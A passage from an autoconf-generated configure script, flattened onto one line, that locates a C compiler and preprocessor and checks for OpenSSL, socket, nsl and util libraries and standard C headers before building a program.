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then ac_cv_prog_ac_ct_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CC" && break done CC=$ac_ct_CC fi fi test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&5 echo "$as_me: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C compiler version" >&5 ac_compiler=`set X $ac_compile; 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INSTALL=$ac_install_sh fi fi echo "$as_me:$LINENO: result: $INSTALL" >&5 echo "${ECHO_T}$INSTALL" >&6 # Use test -z because SunOS4 sh mishandles braces in ${var-val}. # It thinks the first close brace ends the variable substitution. test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' if test $ac_cv_c_compiler_gnu = yes; then CCOPTS='-O2 -Wall' CFLAGS="$CCOPTS" fi test "x$prefix" != "xNONE" || prefix="/usr/local" test "x$exec_prefix" != "xNONE" || exec_prefix="${prefix}" trydir_i="${prefix}/include" trydir_l="${prefix}/lib" LDFLAGS="$LDFLAGS -L${prefix}/lib" CPPFLAGS="$CPPFLAGS -I${prefix}/include" if test "${prefix}" != "/usr/local" ; then trydir_i="${trydir_i} /usr/local/include" trydir_l="${trydir_l} /usr/local/lib" fi # Check whether --with-includes or --without-includes was given. if test "${with_includes+set}" = set; then withval="$with_includes" trydir_i="$trydir_i ${withval}" fi; for xincdir in $trydir_i ; do if test ! -d "$xincdir" ; then continue; fi INCLUDES="$INCLUDES -I${xincdir}"; done CPPFLAGS="${INCLUDES} $CPPFLAGS" # Check whether --with-libs or --without-libs was given. if test "${with_libs+set}" = set; then withval="$with_libs" trydir_l="$trydir_l ${withval}" fi; for xlibdir in $trydir_l ; do if test ! -d "$xlibdir" ; then continue; fi LIBDIR="$LIBDIR -L${xlibdir}"; done LDFLAGS="${LIBDIR} $LDFLAGS" echo "$as_me:$LINENO: checking for main in -lutil" >&5 echo $ECHO_N "checking for main in -lutil... $ECHO_C" >&6 if test "${ac_cv_lib_util_main+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lutil $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { main (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_util_main=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_util_main=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_util_main" >&5 echo "${ECHO_T}$ac_cv_lib_util_main" >&6 if test $ac_cv_lib_util_main = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBUTIL 1 _ACEOF LIBS="-lutil $LIBS" fi echo "$as_me:$LINENO: checking for main in -lcrypto" >&5 echo $ECHO_N "checking for main in -lcrypto... $ECHO_C" >&6 if test "${ac_cv_lib_crypto_main+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lcrypto $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { main (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_crypto_main=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_crypto_main=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_crypto_main" >&5 echo "${ECHO_T}$ac_cv_lib_crypto_main" >&6 if test $ac_cv_lib_crypto_main = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBCRYPTO 1 _ACEOF LIBS="-lcrypto $LIBS" else { { echo "$as_me:$LINENO: error: OpenSSL crypto library missing." >&5 echo "$as_me: error: OpenSSL crypto library missing." >&2;} { (exit 1); exit 1; }; } fi echo "$as_me:$LINENO: checking for SSL_accept in -lssl" >&5 echo $ECHO_N "checking for SSL_accept in -lssl... $ECHO_C" >&6 if test "${ac_cv_lib_ssl_SSL_accept+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lssl $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char SSL_accept (); int main () { SSL_accept (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_ssl_SSL_accept=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_ssl_SSL_accept=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_ssl_SSL_accept" >&5 echo "${ECHO_T}$ac_cv_lib_ssl_SSL_accept" >&6 if test $ac_cv_lib_ssl_SSL_accept = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBSSL 1 _ACEOF LIBS="-lssl $LIBS" else { { echo "$as_me:$LINENO: error: OpenSSL library missing." >&5 echo "$as_me: error: OpenSSL library missing." >&2;} { (exit 1); exit 1; }; } fi echo "$as_me:$LINENO: checking for socket in -lsocket" >&5 echo $ECHO_N "checking for socket in -lsocket... $ECHO_C" >&6 if test "${ac_cv_lib_socket_socket+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lsocket $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char socket (); int main () { socket (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_socket_socket=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_socket_socket=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5 echo "${ECHO_T}$ac_cv_lib_socket_socket" >&6 if test $ac_cv_lib_socket_socket = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBSOCKET 1 _ACEOF LIBS="-lsocket $LIBS" fi echo "$as_me:$LINENO: checking for gethostbyname in -lnsl" >&5 echo $ECHO_N "checking for gethostbyname in -lnsl... $ECHO_C" >&6 if test "${ac_cv_lib_nsl_gethostbyname+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lnsl $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char gethostbyname (); int main () { gethostbyname (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_nsl_gethostbyname=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_nsl_gethostbyname=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_gethostbyname" >&5 echo "${ECHO_T}$ac_cv_lib_nsl_gethostbyname" >&6 if test $ac_cv_lib_nsl_gethostbyname = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBNSL 1 _ACEOF LIBS="-lnsl $LIBS" fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6 # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if test "${ac_cv_prog_CPP+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi echo "$as_me:$LINENO: result: $CPP" >&5 echo "${ECHO_T}$CPP" >&6 ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&5 echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking for egrep" >&5 echo $ECHO_N "checking for egrep... $ECHO_C" >&6 if test "${ac_cv_prog_egrep+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if echo a | (grep -E '(a|b)') >/dev/null 2>&1 then ac_cv_prog_egrep='grep -E' else ac_cv_prog_egrep='egrep' fi fi echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 echo "${ECHO_T}$ac_cv_prog_egrep" >&6 EGREP=$ac_cv_prog_egrep echo "$as_me:$LINENO: checking for ANSI C header files" >&5 echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 if test "${ac_cv_header_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_stdc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_stdc=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) exit(2); exit (0); } _ACEOF rm -f conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='./conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: program exited with status $ac_status" >&5 echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ( exit $ac_status ) ac_cv_header_stdc=no fi rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext fi fi fi echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 echo "${ECHO_T}$ac_cv_header_stdc" >&6 if test $ac_cv_header_stdc = yes; then cat >>confdefs.h <<\_ACEOF #define STDC_HEADERS 1 _ACEOF fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then eval "$as_ac_Header=yes" else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 eval "$as_ac_Header=no" fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo 